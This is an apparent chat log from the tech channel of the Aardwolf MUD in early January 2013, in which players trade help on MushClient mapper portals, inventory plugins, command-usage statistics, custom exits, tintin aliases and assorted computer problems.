T3/r7/2013-01-02.txt.gz:{chan ch=tech}Chaz Bono Cheezburger Tech: I only want my gq portals reset though :P
T3/r7/2013-01-02.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: you still want to use the "advanced" mapper pathfinding, you just can't use certain portals while in a gq
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Chaz Bono Cheezburger Tech: I would still want my wizards portal, for example, during a gq
T3/r7/2013-01-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: so selectively add back only the portals you want to keep during the gq
T3/r7/2013-01-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: oh, right. this is undocumented in the help...
T3/r7/2013-01-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: hold on
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Hanslanda Tech: I used runto as a reference to a clientside version, not the slower gameside command starting from recall.
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Hanslanda Tech: myself, I only use runto when new areas are rolled in as I usually don't know/recall where they're located.
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Chaz Bono Cheezburger Tech: Heh, too monotonous. I'll just jack into the mapper code and add the logic at that level. It should be there anyways, as far as i see it
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Zider Tech: .... why not create a list of all the portals you can and selectively turn them on and off depending on what events your doing?
T3/r7/2013-01-02.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: you can't turn portals on and off, afaik
T3/r7/2013-01-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: editing the mapper is just unnecessary
T3/r7/2013-01-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: Zider has it right.
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Bast Tech: however, you can reset the level lock
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Zider Tech: i mean a plug... that sends mapper commands
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Zider Tech: thats kinda what ive written for some of my routines
T3/r7/2013-01-02.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: i know what you meant, but there's no mapper command to turn portals on and off (again, afaik)
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Chaz Bono Cheezburger Tech: Already added it to the mapper, much easier this way. Thanks.
T3/r7/2013-01-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: there are mapper commands to clear the portals list and then to programatically add portals back in
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Zider Tech: ... your addon cast them use them?   its just boolean logic
T3/r7/2013-01-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: this already exists
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Zider Tech: that then
T3/r7/2013-01-02.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: nod, but that seems overcomplicated :P
T3/r7/2013-01-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: it's ridiculously uncomplicated
T3/r7/2013-01-02.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: i would just add an is_cp boolean field to the portals table
T3/r7/2013-01-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: it is in fact less complicated than toggling individual portals on and off
T3/r7/2013-01-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: not going to happen
T3/r7/2013-01-02.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: not on your end perhaps, but it sounds like cheez already did it :P
T3/r7/2013-01-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: if you want to bot gqs, work for it yourself
T3/r7/2013-01-02.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: i already have, thanks
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Chaz Bono Cheezburger Tech: and how is adding if (item_type[id][1] ~= itemDef["cp"]) any harder?
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Protogynus Robbo Tech: if (bot_enable) then *beep
T3/r7/2013-01-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: The difference is that as the project maintainer I'm not willing to add something specifically designed for global quests.
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Zider Tech: fiendish is there a working aard inventory?
T3/r7/2013-01-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: hmm...working?
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Chaz Bono Cheezburger Tech: This wasn't a suggestion for you to put into the base code... I was working on my own stuff here.
T3/r7/2013-01-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: sure for some definitions of working
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Zider Tech: i dunno i see theres a file for it
T3/r7/2013-01-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I know. I'm just trying to help you not have to make code changes, because what you want to do can already be done without them.
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Zider Tech: but it doesnt come enabled
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Chaz Bono Cheezburger Tech: inventory is a pain. I gave up and just went with keeping track of wear/remove
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Bast Tech: my eqSets plugin is awesome (at least I think so)
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Chaz Bono Cheezburger Tech: Haven't looked at it, might need to check it out.
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Zider Tech: fiendish well i cant seem to get the aard inventory plugin to do anything
T3/r7/2013-01-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: aard inventory serials just adds serial numbers to your inventory list
T3/r7/2013-01-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: is that the plugin you mean?
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Zider Tech: that if thats it 
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Zider Tech: or what ever other incanation i should be looking at
T3/r7/2013-01-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: just look at your inventory as you always would
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Zider Tech: i tried one that had mini windows over a year ago but didnt work well
T3/r7/2013-01-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: this does not add a miniwindow
T3/r7/2013-01-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: it just merges the inventory readout with the serial numbers from the invdata readout
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Zider Tech: have you guys seen gear?
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Zider Tech: prints out your iventory with hot spots for actions you can do with the items
T3/r7/2013-01-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: nope
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Zider Tech: is handy
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Zider Tech: colors are terrible
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Tech: The Jerk Fiendish raises an eyebrow.
T3/r7/2013-01-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: no idea
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Bast Tech: what is this gear thing?
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Bast Tech: is if for mushclient?
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Zider Tech: yes its mush
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Bast Tech: where can I get it to see what it does?
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Zider Tech: its not all that advanced but it has buttons for the items in your inventory for actions like      identify/sell/compare/wear/  enchant macro stuff
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Zider Tech: you can contanct me on skype and ill send you the file 
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Zider Tech: http://aardwolfgoals.blogspot.com/2011/05/my-inventory-plugin-called-gear-beta.html
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Zider Tech: by mushu?
T3/r7/2013-01-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: why would you want something that completely ruins object colors?
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Vakieh Tech: Inventory and equipment data as a gmcp requestable blob would be so freaking awesome
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Book of Etzli Tech: And furthermore negate the spells 'identify', 'object read', 'lore', and the command 'identify'.
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Vakieh Tech: idk how well that would work with considerations of visibility/identification, though. I think some items override the id output with their own special stuffs
T3/r7/2013-01-02.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: doesn't invdetails already do that, etz? :P
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Book of Etzli Tech: Invmon already negates some of the usefulness of those spells.
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Zider Tech: it does mess up the item colors
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Book of Etzli Tech: Er, invdetail, yeah.
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Vakieh Tech: No reason it shouldn't be possible, would just need the same checks. And spells being invalidated shouldn't be an argument against things - look at mobshield
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Book of Etzli Tech: Mobshield and identify are two completely unrelated spells. Mobshield was rarely used anyway.
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Book of Etzli Tech: Now, I wouldn't mind going for an "identified" flag on equipment currently in your possesion, though.
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Vakieh Tech: Nobody said they were related, I merely said the circumstances are comparable
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Book of Etzli Tech: Hardly.
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Book of Etzli Tech: One is a spell that was not used much, if at all. The other is a spell that's used quite often.
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Vakieh Tech: And yet, precedent
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Bast Tech: you would still have to use them as invdetails does not give all the info the those do
T3/r7/2013-01-02.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: i don't think the identify spell is used often...
T3/r7/2013-01-02.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: i know i never use it, anyway
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Book of Etzli Tech:  74  Object read                  3191
T3/r7/2013-01-02.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: hmm, interesting
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Vakieh Tech: No need for the id data like stats, resists, etc to be shown, all that is needed is uid, keywords and short string
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Book of Etzli Tech: So, a form of identify is in the topspells list.
T3/r7/2013-01-02.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: what does object read show that the identify command doesn't?
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Book of Etzli Tech: Shows spells, etc. Full identify.
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Vakieh Tech: i
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Vakieh Tech: mis
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Book of Etzli Tech: Shame there's not a topskills command to check if identify is used much.
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Vakieh Tech: Access to root uid would also be helpful, for the purposes of consumables with different individual ids, such as potions or keys
T3/r7/2013-01-02.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: identify is a spell :P
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Book of Etzli Tech: As well as a gameside command.
T3/r7/2013-01-02.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: yes
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Book of Etzli Tech: Most people just use the gameside command now.
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Bast Tech: there's also an identify command that can be augmented with a wish
T3/r7/2013-01-02.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: i'm sure the identify command is one of the top used commands
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Vakieh Tech: The wish also applies to cast identification spells, I believe
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Book of Etzli Tech: The identify command gives most of the information you want anyway.
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Book of Etzli Tech: Nope.
T3/r7/2013-01-02.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: imms can check that *nudge nudge*
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Book of Etzli Tech: Wish only applies to the skill.
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Book of Etzli Tech: The wish allows for full identify with the identify command.
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Book of Etzli Tech: You can get the same effect by casting identify.
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Vakieh Tech: Ok, so you would be ok with gmcp yielding raw id info, and more if you get the wish?
T3/r7/2013-01-02.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: guess no imms are watching :(
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Vakieh Tech: Because the important stuff, uid/keywords/short desc are all available without casting a spell or wishing
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Book of Etzli Tech: Like I said, I'd be fine if it showed no information until you identified it, then it put an identified flag (but only while it was in your possession).
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Resolution Rhuli Tech: Something needed?
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Book of Etzli Tech: Just wondering if identify is the top skill used. ;)
T3/r7/2013-01-02.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: wanted to see where identify was on top used commands :P
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Book of Etzli Tech: Or among the top skills, since us mortals can't check it.
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Vakieh Tech: My money's on 'home'
T3/r7/2013-01-02.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: identify isn't a skill, it's a command :P
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Resolution Rhuli Tech: It has been used 117091 times this reboot.
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Book of Etzli Tech: I win the internet.
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Book of Etzli Tech: Thanks, Rhuli.
T3/r7/2013-01-02.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: where does that rank?
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Resolution Rhuli Tech: There's not a table of top used commands.
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Book of Etzli Tech: Vakieh: My money would have been backstab. ;)
T3/r7/2013-01-02.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: ah :( thanks anyways :)
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Resolution Rhuli Tech: Backstab 842537 times :)
T3/r7/2013-01-02.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: the most used command? probably north
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Chaz Bono Cheezburger Tech: open, my money's on open
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Tech: Book of Etzli grins evilly.
T3/r7/2013-01-02.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: hmm, that's a lot though :P
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Book of Etzli Tech: 117k in 2 weeks, though.
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Bast Tech: run is the most I bet
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Book of Etzli Tech: That's 9,750 per day.
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Vakieh Tech: nynego?
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Book of Etzli Tech: I doubt it, Bast.
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Book of Etzli Tech: You kill more mobs than you run.
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Resolution Rhuli Tech: Run is just below backstab.
T3/r7/2013-01-02.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: not everyone backstabs though
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Book of Etzli Tech: Unless you're typing 'run n' instead of just 'n' each movement.
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Tech: Book of Etzli nods.
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Resolution Rhuli Tech: Look: 1093568 :)
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Book of Etzli Tech: There really should be a table for that. :p
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Chaz Bono Cheezburger Tech: How many on 'open' and 'run'? :P
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Book of Etzli Tech: Run is just below backstab, so less than 847k.
T3/r7/2013-01-02.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: i can write you a plugin to make a table if you give me sample output ;)
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Resolution Rhuli Tech: Open 506679, Run 800676
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Tech: Book of Etzli snickers with The Reaper Myrkul about their shared secret.
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Book of Etzli Tech: There's no table, though. He probably has to type a command for it.
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Vakieh Tech: So after all that, would you have issues with *only* keywords, uid and short desc being available without id'ing something? Bearing in mind such data is already available from other sources than identify or similar
T3/r7/2013-01-02.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: yeah, so check every command :P
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Book of Etzli Tech: Yeah, we'll let you get right on that, Myrkul. :p
T3/r7/2013-01-02.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: won't take long to write :P
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Book of Etzli Tech: I mean, there's only 473 LISTED commands.
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Book of Etzli Tech: Vakieh: That might be doable.
T3/r7/2013-01-02.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: write, and it would only take a minute or two to write a trigger to parse that into a lua table :P
T3/r7/2013-01-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: for k,v in ipairs(commands) do
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Tech: Book of Etzli nods.
T3/r7/2013-01-02.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: omg, right
T3/r7/2013-01-02.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: i can't believe i just said that :P
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Tech: Book of Etzli rolls on the floor laughing at The Reaper Myrkul's antics!
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Book of Etzli Tech: Good thing you're not in Gaardian. I hear they shoot people for that.
T3/r7/2013-01-02.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: lol
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Vakieh Tech: That's all the information that would be required for a very solid eq manager - not like the horrendous hacks I've tried without a mudside reference
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Mokg Tech: anyone have an opinion on good monitors in the ~150 range?
T3/r7/2013-01-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: audio or video?
T3/r7/2013-01-03.txt.gz:{chan ch=tech}Sit like a Trurien Tech: Anyone uses tumblr on their own domain here?
T3/r7/2013-01-03.txt.gz:{chan ch=tech}Sit like a Trurien Tech: I've changed the redirect, but the old redirect still seems to be active.
T3/r7/2013-01-03.txt.gz:{chan ch=tech}Sit like a Trurien Tech: e.g. I have random.tumblr.com pointed to tumblr.randomsite.com
T3/r7/2013-01-03.txt.gz:{chan ch=tech}Sit like a Trurien Tech: Then I change it to randomsite.com and back to tumblr.randomsite.com.
T3/r7/2013-01-03.txt.gz:{chan ch=tech}Sit like a Trurien Tech: Now I can't host my own html/PHP sites on randomsite.com.
T3/r7/2013-01-03.txt.gz:{chan ch=tech}Doink Tech: Is there a MUSH command to see the total amount of cexits you have entered atm?
T3/r7/2013-01-03.txt.gz:{chan ch=tech}Doink Tech: total as in, every single cexit in every area..
T3/r7/2013-01-03.txt.gz:{chan ch=tech}Tech: mapper cexits
T3/r7/2013-01-03.txt.gz:{chan ch=tech}Doink Tech: Tks Abe, you da man^^
T3/r7/2013-01-03.txt.gz:{chan ch=tech}Tech: lots of helps available right within the mapper...type "mapper help" for categories...then "mapper help exits" for the category dealing with exits, and it was the first one listed
T3/r7/2013-01-03.txt.gz:{chan ch=tech}Doink Tech: Hah, I should have checked.... brain fart + lazy 
T3/r7/2013-01-03.txt.gz:{chan ch=tech}Doink Tech: 1102 cexits entered x.X Gonna need to back up externally.. ill cry if I lost that.
T3/r7/2013-01-03.txt.gz:{chan ch=tech}Tech: wow
T3/r7/2013-01-03.txt.gz:{chan ch=tech}Mokg Tech: 1119 I win
T3/r7/2013-01-03.txt.gz:{chan ch=tech}Doink Tech: Mokg is 17 cexits more of a bot than me!
T3/r7/2013-01-03.txt.gz:{chan ch=tech}Mokg Tech: most are opening no pass doors... not too impressive
T3/r7/2013-01-03.txt.gz:{chan ch=tech}Doink Tech: My most complex is Knossos :)
T3/r7/2013-01-03.txt.gz:{chan ch=tech}Book of Etzli Tech: Hmm. I'm guessing my 2318 cexits don't register. *halo*
T3/r7/2013-01-03.txt.gz:{chan ch=tech}Doink Tech: WoW, Etzli is twice the bot then both of us!
T3/r7/2013-01-03.txt.gz:{chan ch=tech}Mokg Tech: I just have it alias'd
T3/r7/2013-01-03.txt.gz:{chan ch=tech}Mokg Tech: all those cexits and he doesnt even cp!
T3/r7/2013-01-03.txt.gz:{chan ch=tech}Book of Etzli Tech: I do so!
T3/r7/2013-01-03.txt.gz:{chan ch=tech}Book of Etzli Tech: A whole 160!
T3/r7/2013-01-03.txt.gz:{chan ch=tech}Tech: heh, select * from exits where Direction != n/s/e/w/u/d: fetched 93 records
T3/r7/2013-01-03.txt.gz:{chan ch=tech}Grissom Tech: where can you get a program that when you press a key on the keyboard it randomises and outputs a other
T3/r7/2013-01-03.txt.gz:{chan ch=tech}Grissom Tech: like the engima of WWII
T3/r7/2013-01-03.txt.gz:{chan ch=tech}Aqiz Tech: how heavy do you want the encryption?
T3/r7/2013-01-03.txt.gz:{chan ch=tech}Grissom Tech: heavy
T3/r7/2013-01-03.txt.gz:{chan ch=tech}Grissom Tech: military grade
T3/r7/2013-01-03.txt.gz:{chan ch=tech}Grissom Tech: or at least one that cant be cracked by my family
T3/r7/2013-01-03.txt.gz:{chan ch=tech}Doink Tech: Just get magazin and hide it under your matress, no need to encrypt porn!
T3/r7/2013-01-03.txt.gz:{chan ch=tech}Grissom Tech: not that i want to encrypt my code files and save and my mob databases that sort of stuff
T3/r7/2013-01-03.txt.gz:{chan ch=tech}Ranrr Tech: Single key encryption (p-box) is a very weak algoritm. You need to encrypt blocks to get good encryption.
T3/r7/2013-01-03.txt.gz:{chan ch=tech}Ranrr Tech: AES is one of the most commonly used algoritms, and it has decent security.
T3/r7/2013-01-03.txt.gz:{chan ch=tech}Ranrr Tech: And by decent I mean it cannot be broken by force. At least not yet.
T3/r7/2013-01-03.txt.gz:{chan ch=tech}Aqiz Tech: someday
T3/r7/2013-01-03.txt.gz:{chan ch=tech}Grissom Tech: ok thanks
T3/r7/2013-01-03.txt.gz:{chan ch=tech}Ixle Tech: I'm having issues installing CM10 on my droid 3 using safestrap. Anyone familiar?
T3/r7/2013-01-03.txt.gz:{chan ch=tech}Tigernuts Tech: i need to buy toner, first time ever, bleh
T3/r7/2013-01-03.txt.gz:{chan ch=tech}Bast Tech: help alias says you can with a semicolon
T3/r7/2013-01-03.txt.gz:{chan ch=tech}Nymiro Tech: but it doesn't seem to work
T3/r7/2013-01-03.txt.gz:{chan ch=tech}Nymiro Tech: what i want is to be able to cast multiple spells in one command
T3/r7/2013-01-03.txt.gz:{chan ch=tech}Grissom Tech: have you tried with double semicolon
T3/r7/2013-01-03.txt.gz:{chan ch=tech}Nymiro Tech: it doesn't work either
T3/r7/2013-01-03.txt.gz:{chan ch=tech}Bast Tech: this worked fine for me: alias test c 253;;c 437 in mushclient
T3/r7/2013-01-03.txt.gz:{chan ch=tech}Nymiro Tech: i'm in tintin
T3/r7/2013-01-03.txt.gz:{chan ch=tech}Grissom Tech: the doubles work for me too
T3/r7/2013-01-03.txt.gz:{chan ch=tech}Testure Tech: i use a macro with mushclient and use  \n  for return
T3/r7/2013-01-03.txt.gz:{chan ch=tech}Nymiro Tech: got it
T3/r7/2013-01-03.txt.gz:{chan ch=tech}Bast Tech: try \; in tintin
T3/r7/2013-01-03.txt.gz:{chan ch=tech}Dareau Tech: Try setting the verbatim char in the #config section, so you can use that character at the beginning of a command to have tintin send the command as-is
T3/r7/2013-01-03.txt.gz:{chan ch=tech}Nymiro Tech: i needed to scape with backslash
T3/r7/2013-01-03.txt.gz:{chan ch=tech}Nymiro Tech: right bast
T3/r7/2013-01-03.txt.gz:{chan ch=tech}Nymiro Tech: ty everyone
T3/r7/2013-01-03.txt.gz:{chan ch=tech}TrEz Tech: when I plug in my mouse I get kernel security check failure crash
T3/r7/2013-01-03.txt.gz:{chan ch=tech}TrEz Tech: anyone know a solution
T3/r7/2013-01-03.txt.gz:{chan ch=tech}Tech: still? weren't you having this issue like 2 months ago?
T3/r7/2013-01-03.txt.gz:{chan ch=tech}TrEz Tech: can't find fix
T3/r7/2013-01-03.txt.gz:{chan ch=tech}Tech: well, it's gonna be the mouse, the USB controller, or the OS...if it still has an issue when booted from the liveCD, then it'd the mouse or the controller
T3/r7/2013-01-03.txt.gz:{chan ch=tech}TrEz Tech: it's driver related but I guess I'd need to do a clean install of the OS
T3/r7/2013-01-03.txt.gz:{chan ch=tech}TrEz Tech: cool I uninstalled the razer drivers
T3/r7/2013-01-03.txt.gz:{chan ch=tech}TrEz Tech: and removed the registry entries
T3/r7/2013-01-03.txt.gz:{chan ch=tech}TrEz Tech: now seems to work when replugged
T3/r7/2013-01-03.txt.gz:{chan ch=tech}TrEz Tech: tho I have a feeling it will crash at the worst time possible
T3/r7/2013-01-03.txt.gz:{chan ch=tech}Jormungard Tech: im using a telnet client to play, and my words are black as well as my background color. any way to change my font to be white color or the background to white?
T3/r7/2013-01-03.txt.gz:{chan ch=tech}Aliens Tech: turn echo on ?
T3/r7/2013-01-03.txt.gz:{chan ch=tech}Jormungard Tech: how D:
T3/r7/2013-01-03.txt.gz:{chan ch=tech}Martini & Tyebald Tech: check 'colorset status', and see if you have set anything to black
T3/r7/2013-01-03.txt.gz:{chan ch=tech}Aliens Tech: i vaugely remember press CTRL-], the set localecho on... or something it's been a while and telnet commands are slightly diffenet on linux and windows
T3/r7/2013-01-03.txt.gz:{chan ch=tech}Aliens Tech: so i'm using mushclient, the plugin miniwin_eq is loaded (plugins list), but not shown (plugins windows mneq). can anyone help me change it to shown ?
T3/r7/2013-01-03.txt.gz:{chan ch=tech}Bast Tech: mneq eq show
T3/r7/2013-01-03.txt.gz:{chan ch=tech}Aliens Tech: thanks
T3/r7/2013-01-03.txt.gz:{chan ch=tech}Dexter Tech: someone here handy with excel/vlookup?
T3/r7/2013-01-03.txt.gz:{chan ch=tech}Mye Tech: yes
T3/r7/2013-01-03.txt.gz:{chan ch=tech}Vaedus Tech: anyone know how to get rid of the ascii map I now have over my room text desc. I am using mushclient and I have 2 maps already
T3/r7/2013-01-03.txt.gz:{chan ch=tech}Aliens Tech: relogin
T3/r7/2013-01-03.txt.gz:{chan ch=tech}Vaedus Tech: thanks
T3/r7/2013-01-03.txt.gz:{chan ch=tech}Doc Holliday Tech: resetaard?
T3/r7/2013-01-03.txt.gz:{chan ch=tech}Vaedus Tech: no luck
T3/r7/2013-01-03.txt.gz:{chan ch=tech}Cody Tech: help map
T3/r7/2013-01-03.txt.gz:{chan ch=tech}Tech: Cody grins evilly.
T3/r7/2013-01-03.txt.gz:{chan ch=tech}Vaedus Tech: still no help
T3/r7/2013-01-03.txt.gz:{chan ch=tech}Vakieh Tech: turn tags on
T3/r7/2013-01-03.txt.gz:{chan ch=tech}Vakieh Tech: so 'tags map on'
T3/r7/2013-01-03.txt.gz:{chan ch=tech}Cody Tech: maptags
T3/r7/2013-01-03.txt.gz:{chan ch=tech}Cody Tech: as seen in help map
T3/r7/2013-01-03.txt.gz:{chan ch=tech}Vaedus Tech: it was on
T3/r7/2013-01-03.txt.gz:{chan ch=tech}Cody Tech: otggle that and it doesnt fix it?
T3/r7/2013-01-03.txt.gz:{chan ch=tech}Cody Tech: toggle
T3/r7/2013-01-03.txt.gz:{chan ch=tech}Vakieh Tech: Then you have another plugin or trigger buggering things up
T3/r7/2013-01-03.txt.gz:{chan ch=tech}Vaedus Tech: it wasnt like this 10 mins ago
T3/r7/2013-01-03.txt.gz:{chan ch=tech}Doc Holliday Tech: anyone have experience expanding a raid in linux, is it possible?
T3/r7/2013-01-03.txt.gz:{chan ch=tech}Cody Tech: ok what have you changed in last ten minutes?
T3/r7/2013-01-03.txt.gz:{chan ch=tech}Vaedus Tech: it wasnt like this 10 mins ago
T3/r7/2013-01-03.txt.gz:{chan ch=tech}Cody Tech: automap maybe, not sure what that does
T3/r7/2013-01-03.txt.gz:{chan ch=tech}Cody Tech: mushclient?
T3/r7/2013-01-03.txt.gz:{chan ch=tech}Vaedus Tech: automap solves the problem enough. At least I can see my main screen now. My mapper does not work anymore though
T3/r7/2013-01-03.txt.gz:{chan ch=tech}Vaedus Tech: muchclient yes
T3/r7/2013-01-03.txt.gz:{chan ch=tech}Cody Tech: you have your triggers on right?
T3/r7/2013-01-03.txt.gz:{chan ch=tech}Vakieh Tech: Because the map miniwin populates itself with automap
T3/r7/2013-01-03.txt.gz:{chan ch=tech}Vaedus Tech: I do
T3/r7/2013-01-03.txt.gz:{chan ch=tech}Vakieh Tech: The miniwin is grabbing the info, but not eating it
T3/r7/2013-01-03.txt.gz:{chan ch=tech}Tech: Cody rapidly nods twice at Vakieh, in complete agreement.
T3/r7/2013-01-03.txt.gz:{chan ch=tech}Vakieh Tech: Right click the miniwin, see if the 'Echo map in main output' is ticked
T3/r7/2013-01-03.txt.gz:{chan ch=tech}Tech: Cody gasps in astonishment.
T3/r7/2013-01-03.txt.gz:{chan ch=tech}Vaedus Tech: It is
T3/r7/2013-01-03.txt.gz:{chan ch=tech}Cody Tech: toggle it
